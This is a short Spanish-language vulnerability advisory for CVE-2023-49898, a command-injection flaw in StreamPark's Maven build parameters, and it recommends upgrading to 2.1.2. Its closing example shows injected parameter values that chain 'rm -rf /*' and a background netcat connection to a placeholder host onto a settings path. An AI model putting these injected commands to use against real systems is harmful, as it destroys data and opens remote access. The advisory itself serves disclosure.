Vulnerabilidad en Streampark (CVE-2023-49898)

En Streampark, hay un módulo de proyecto que integra las capacidades de compilación de Maven. Sin embargo, no hay verificación de los parámetros de compilación de Maven. Permitir a los atacantes insertar comandos para la ejecución remota de comandos. El requisito previo para un ataque exitoso es que el usuario debe iniciar sesión en el sistema Streampark y tener permisos a nivel del sistema. Generalmente, sólo los usuarios de ese sistema tienen autorización para iniciar sesión y los usuarios no ingresarían manualmente un comando de operación peligroso. Por tanto, el nivel de riesgo de esta vulnerabilidad es muy bajo. Mitigación: todos los usuarios deben actualizar a 2.1.2 Ejemplo: ## Puede personalizar el método de empalme según la situación de compilación del proyecto, los resultados de compilación de mvn usan &&, los errores de compilación usan "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &